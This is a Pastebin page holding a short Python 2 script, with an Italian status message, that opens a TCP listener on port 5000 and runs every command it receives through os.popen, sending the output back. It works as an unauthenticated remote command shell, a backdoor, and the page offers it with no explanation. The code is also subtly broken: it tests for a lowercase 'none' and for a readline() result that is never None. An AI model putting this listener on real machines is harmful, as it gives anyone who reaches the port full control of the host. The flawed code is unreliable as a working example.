Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: cp1252 -*-
- from time import *
- from socket import *
- from os import popen
- host=gethostname()
- port= 5000
- print
- sock=socket(AF_INET,SOCK_STREAM)
- sock.bind((gethostname(), port))
- sock.listen(5)
- conn, addr = sock.accept()
- def server(sock, conn, addr):
- rec = conn.recv(1024)
- if rec == "exit":
- sock.close()
- conn.close()
- del sock
- del conn
- del addr
- exit()
- else:
- result = popen(rec)
- if result.readline() is None:
- conn.send("Operazione eseguita")
- else:
- while True:
- line = result.readline()
- conn.send(line)
- if line is none:
- server(sock, conn, addr)
- try:
- server(sock, conn, addr)
- except:
- sock.close()
- conn.close()
- del sock
- del conn
- del addr
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement